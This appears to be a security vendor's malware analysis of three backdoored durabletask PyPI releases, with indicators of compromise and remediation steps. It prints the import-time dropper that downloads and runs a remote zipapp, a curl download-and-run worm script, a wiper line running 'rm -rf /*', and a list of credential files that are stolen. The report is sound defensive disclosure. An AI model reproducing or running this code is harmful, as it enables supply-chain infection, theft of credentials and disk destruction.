We've identified three malicious versions of durabletask on PyPI, 1.4.1, 1.4.2, and 1.4.3, that contain a dropper injected directly into the package's Python source files. When a developer installs any of these versions and imports the library, the dropper silently fetches and executes a second-stage payload from a three-day-old C2 domain.
That second stage is a full-featured infostealer and worm. It harvests credentials from every major cloud provider, password manager, and developer tool it can find, encrypts the results with an attacker-controlled RSA key, and ships them off to C2. If the machine is running inside AWS, it propagates itself to other EC2 instances using SSM. If it's inside Kubernetes, it propagates through kubectl exec. And if it detects Israeli or Iranian system settings, there's a 1-in-6 chance it plays audio and then runs rm -rf /*.
This does smell of more TeamPCP shenanigans, but we can’t be sure for now.
What happened
durabletask is a Python package for the Durable Task Framework, a workflow orchestration library associated with Microsoft Azure. It's the kind of package you'd expect to find in cloud-native Python environments running automation, CI/CD, or Azure-connected workloads, which is exactly the kind of environment this campaign is designed to hit.
Starting with version 1.4.1, the package's __init__.py was backdoored with a dropper that fires at import time:
import os
import platform
import subprocess
import urllib.request
if platform.system() == "Linux":
try:
urllib.request.urlretrieve(
"https://check.git-service[.]com/rope.pyz",
"/tmp/managed.pyz"
)
with open(os.devnull, "w") as f:
subprocess.Popen(
["python3", "/tmp/managed.pyz"],
stdout=f,
stderr=f,
stdin=f,
start_new_session=True
)
except Exception:
passThe dropper is Linux-only, completely silent, and runs in a detached process that survives the parent dying. The broad except: pass swallows any errors. A developer running import durabletask for the first time would see nothing at all.
The versions tell a story
All three versions carry the same dropper code, but each release injected it into more files. This is a deliberate strategy to maximise the chance that at least one import path triggers the payload.
By version 1.4.3, the dropper fires from five separate entry points. A developer who only touches from durabletask.entities import ... is still compromised. The C2 domain, payload URL, and dropper logic are byte-for-byte identical across all three versions, the only change is coverage.
The payload: rope.pyz
The dropper fetches rope.pyz from hxxps://check.git-service[.]com/rope.pyz. The domain was registered on May 16, 2026, three days before this analysis. It resolves via NameSilo with privacy-guarded registration.
rope.pyz is a Python zipapp: a ZIP archive with a __main__.py entrypoint that Python can execute directly. It contains 19 files across a structured module layout.
SHA-256: 069ac1dc7f7649b76bc72a11ac700f373804bfd81dab7e561157b703999f44ce
Before doing anything, __main__.py runs four checks:
- Platform — exits if not Linux.
- Locale — exits if
$LANGstarts withru. The payload will not run on Russian-locale systems. - CPU count — exits if
os.cpu_count() <= 2. This kills most automated sandboxes. - Dependencies — silently installs
cryptographyvia pip if not present, with a--break-system-packagesfallback.
Only after clearing all four does it hand off to the main orchestration module.
The FIRESCALE dead-drop
The payload first checks in with hxxps://check.git-service[.]com/v1/models. If that endpoint returns HTTP 200, the response body is treated as a base64-encoded Python script and handed to roulette.py for execution — this is the attacker's remote activation channel.
If the primary C2 is unreachable, the payload falls back to a GitHub-based dead-drop:
req = urllib.request.Request(
"https://api.github.com/search/commits"
"?q=FIRESCALE"
"&sort=committer-date"
"&order=desc"
"&per_page=30",
headers={
"Accept": "application/vnd.github.cloak-preview+json",
"User-Agent": "git/2.39.0",
},
)It searches GitHub's commit search API for the string FIRESCALE. Each matching commit is inspected for the pattern:
FIRESCALE <base64_url>.<base64_signatue>
The base64-encoded URL is only accepted if its RSA-SHA256 signature verifies against a hardcoded 4096-bit public key. That means only the attacker — the holder of the corresponding private key — can publish a valid new C2 address. The GitHub search API becomes a censorship-resistant, cryptographically authenticated fallback channel. If the primary C2 domain gets seized or sinkholed, the attacker can resume operations by making a single public commit anywhere on GitHub.
What it steals
Collection runs concurrently across eight modules via ThreadPoolExecutor.
Password managers. The payload targets 1Password, Bitwarden, pass, and gopass. For each locked vault, it tries to unlock it by scanning environment variables for patterns like *PASS*, *SECRET*, and BW_*, parsing shell history files for bw unlock and op signin invocations, and then trying the literal string "anon" as a last resort. If it gets in, it dumps everything.
Credential files. Over 90 hardcoded file paths are read. The list is comprehensive: AWS credentials, GCP application default credentials, Azure access tokens, ~/.kube/config, ~/.vault-token, ~/.ssh/ (every file), ~/.docker/config.json, ~/.pypirc, ~/.npmrc, .env files across the entire home directory, Terraform state files (which frequently contain plaintext secrets), and VPN configs including Tailscale state and WireGuard .conf files.
The list also specifically targets AI development tooling: ~/.config/claude/claude_desktop_config.json, ~/.cursor/mcp.json, ~/.vscode/mcp.json, ~/.codeium/mcp.json, and configs for Zed, Continue, Kilo, and OpenCode.
Docker. The payload queries the Docker socket at /var/run/docker.sock directly, enumerating all containers and extracting their environment variables. Cloud credentials passed as container env vars are a common pattern in Docker-based CI/CD setups.
AWS. Credentials are resolved from environment variables, then the EC2 instance metadata service (IMDS), then all named profiles in ~/.aws/credentials. For each credential set, the payload enumerates AWS Secrets Manager and SSM Parameter Store across all 19 AWS regions, including GovCloud, concurrently. It retrieves every secret value, with WithDecryption: True for SSM. It also enumerates all SSM-managed EC2 instances for the propagation step described below.
Azure. The payload resolves tokens via client credentials, certificate-based JWT assertion, the Azure CLI token cache at ~/.azure/accessTokens.json, or Azure IMDS (managed identity). With a valid token, it lists all subscriptions, all Key Vaults in each subscription, and retrieves every secret from every vault.
GCP. Credentials are resolved from $GOOGLE_APPLICATION_CREDENTIALS, the application default credentials file, or GCP IMDS. The payload generates OAuth2 JWTs itself and retrieves every secret from GCP Secret Manager.
Kubernetes. Access is resolved from ~/.kube/config across all contexts, from in-cluster service account tokens, or via kubectl. If kubectl is not installed, the payload downloads it from the official Kubernetes release CDN to /tmp/kubectl. Every secret in every namespace across every context is retrieved and base64-decoded.
HashiCorp Vault. The payload resolves the Vault token from $VAULT_TOKEN, ~/.vault-token, AppRole credentials, or vault print token. It then recursively walks all KV v1 and v2 mounts, retrieving every secret path. SSL verification is disabled to handle self-signed internal Vault deployments.
All collected data is gzip-compressed and encrypted with AES-256-GCM. The per-session AES key is wrapped with RSA-OAEP-SHA256 using the hardcoded operator public key. Only the attacker can decrypt it.
Exfiltration follows a three-tier fallback:
- POST to
hxxps://check.git-service[.]com/api/public/version - POST to a mothership URL resolved via the FIRESCALE dead-drop
- If any stolen GitHub token is found in the collected data, create a randomly-named public GitHub repository and upload the encrypted bundle as
results.json
The GitHub fallback repo names are drawn from a Russian folklore word list: BABA-YAGA, KOSCHEI, FIREBIRD, PTITSA, RUSALKA, MOROZKO, LESHY, and others. The naming is not random noise — it's a stable operator fingerprint.
Worm propagation
After collecting secrets, the payload spreads.
AWS SSM. With the EC2 instances enumerated during credential collection, the payload sends an ssm:SendCommand (using the AWS-RunShellScript document) to up to five online, non-Windows instances:
MARKER="$HOME/.cache/.sys-update-check"
[ -f "$MARKER" ] && exit 0
cd /tmp || exit 0
PAYLOAD_FILE="rope-${RANDOM}.pyz"
curl -sSL "https://check.git-service[.]com/rope.pyz" -o "$PAYLOAD_FILE" \
|| curl -sSL "https://t.m-kosche[.]com/rope.pyz" -o "$PAYLOAD_FILE" \
|| exit 0
nohup python3 "$PAYLOAD_FILE" > /dev/null 2>&1 &A marker file at ~/.cache/.sys-update-check prevents re-infection from the same host. The secondary payload URL hxxps://t.m-kosche[.]com/rope.pyz serves as a fallback if the primary C2 is down.
Kubernetes. If running inside a K8s cluster, the payload kubectl execs the same download-and-run script into up to five running pods, skipping the current one. A separate marker at ~/.cache/.sys-update-check-k8s tracks K8s propagation independently.
The disk wiper
When the primary C2 returns HTTP 200 from /v1/models, the response triggers roulette.py. That module has two capabilities: installing persistence and wiping disks.
Persistence. The base64-decoded C2 response is written to /usr/bin/pgmonitor.py (as root) or ~/.local/bin/pgmonitor.py (non-root) and registered as a systemd service named pgsql-monitor.service, described as a "PostgreSQL Monitor." The service restarts automatically on failure.
Wiper. The module checks for Israeli or Iranian system settings by inspecting $TZ for strings like Jerusalem, Tel_Aviv, and Tehran; reading /etc/timezone and /etc/localtime binary content; and checking $LANG, $LC_ALL, and $LC_MESSAGES for he_IL or fa_IR. On a one-in-six roll, it runs:
play_at_full_volume(config.RUN_FOR_COVER, "RunForCover.mp3")
subprocess.run(["rm", "-rf", "/*"])It downloads an audio file from hxxps://check.git-service[.]com/audio.mp3, sets system volume to 100% via pactl, and plays it via mpv, then wipes the disk. The audio precedes the wipe by design. This is not an automated background process; the attacker activates it deliberately per victim by returning 200 OK from the C2 check-in.
Detection and mitigation
If you installed durabletask 1.4.1, 1.4.2, or 1.4.3, treat the host as compromised. The payload ran the moment the package was imported.
Check for the marker file first:
~/.cache/.sys-update-check
Its presence confirms the worm logic ran on that host. Check ~/.cache/.sys-update-check-k8s separately for Kubernetes propagation.
Look for the persistence service:
/etc/systemd/system/pgsql-monitor.service
~/.config/systemd/user/pgsql-monitor.service
/usr/bin/pgmonitor.py
~/.local/bin/pgmonitor.py
Block and rotate:
- All cloud credentials present on the affected host (AWS, Azure, GCP)
- All SSH keys under
~/.ssh/ - All Kubernetes service account tokens
- Any HashiCorp Vault tokens
- GitHub tokens and PATs — and check for new public repositories with Russian folklore names created from those tokens
npm,pip, and package registry tokens- Anything in
~/.docker/config.json - All environment variable secrets that were set on the machine
- Contents of any
.envfiles in the home directory - Any Terraform state files on the host
If the host was running inside AWS with SSM-managed instances in the same account, check AWS CloudTrail for SendCommand activity from the compromised instance and investigate any instances it contacted. Do the same for Kubernetes: check audit logs for exec commands originating from the infected pod.
Block at the network layer:
check.git-service[.]comt.m-kosche[.]com
Indicators of Compromise
Malicious packages:
durabletask==1.4.1durabletask==1.4.2durabletask==1.4.3
Hashes:
durabletask-1.4.1.tar.gzSHA-256:3de04fe2a76262743ed089efa7115f4508619838e77d60b9a1aab8b20d2cc8bfdurabletask-1.4.2.tar.gzSHA-256:85f54c089d78ebfb101454ec934c767065a342a43c9ee1beac8430cdd3b2086fdurabletask-1.4.3.tar.gzSHA-256:c0b094e46842260936d4b97ce63e4539b99a3eae48b736798c700217c52569dcrope.pyzSHA-256:069ac1dc7f7649b76bc72a11ac700f373804bfd81dab7e561157b703999f44ce
Domains and URLs:
hxxps://check.git-service[.]com/rope.pyzhxxps://check.git-service[.]com/v1/modelshxxps://check.git-service[.]com/api/public/versionhxxps://check.git-service[.]com/audio.mp3hxxps://t.m-kosche[.]com/rope.pyz
Domain registration:
git-service.com— registered 2026-05-16 (3 days before analysis), NameSilo, privacy-guarded
Files created on victim:
/tmp/managed.pyz— initial payload drop~/.cache/.sys-update-check— propagation marker (key detection artifact)~/.cache/.sys-update-check-k8s— Kubernetes propagation marker/usr/bin/pgmonitor.pyor~/.local/bin/pgmonitor.py— persistence payload/etc/systemd/system/pgsql-monitor.serviceor~/.config/systemd/user/pgsql-monitor.service— persistence service/tmp/kubectl— downloaded kubectl binary if not present on host
Campaign strings:
FIRESCALE— dead-drop beacon string in GitHub commit searchpgsql-monitor.service— persistence service namePostgreSQL Monitor— persistence service description used as cover- Russian folklore repo names:
BABA-YAGA,KOSCHEI,FIREBIRD,PTITSA,RUSALKA,MOROZKO,LESHY,DOMOVOI,VODYANOY, and others
How Aikido Detects This
If you are an Aikido user, check your central feed and filter on malware issues. This will surface as a critical issue. Aikido rescans nightly, but we recommend triggering a manual rescan now.
If you are not yet an Aikido user, you can create an account and connect your repos. Malware coverage is included in the free plan.
For future protection, Aikido Safe Chain (open source) intercepts package install commands and checks against Aikido Intel before anything runs.
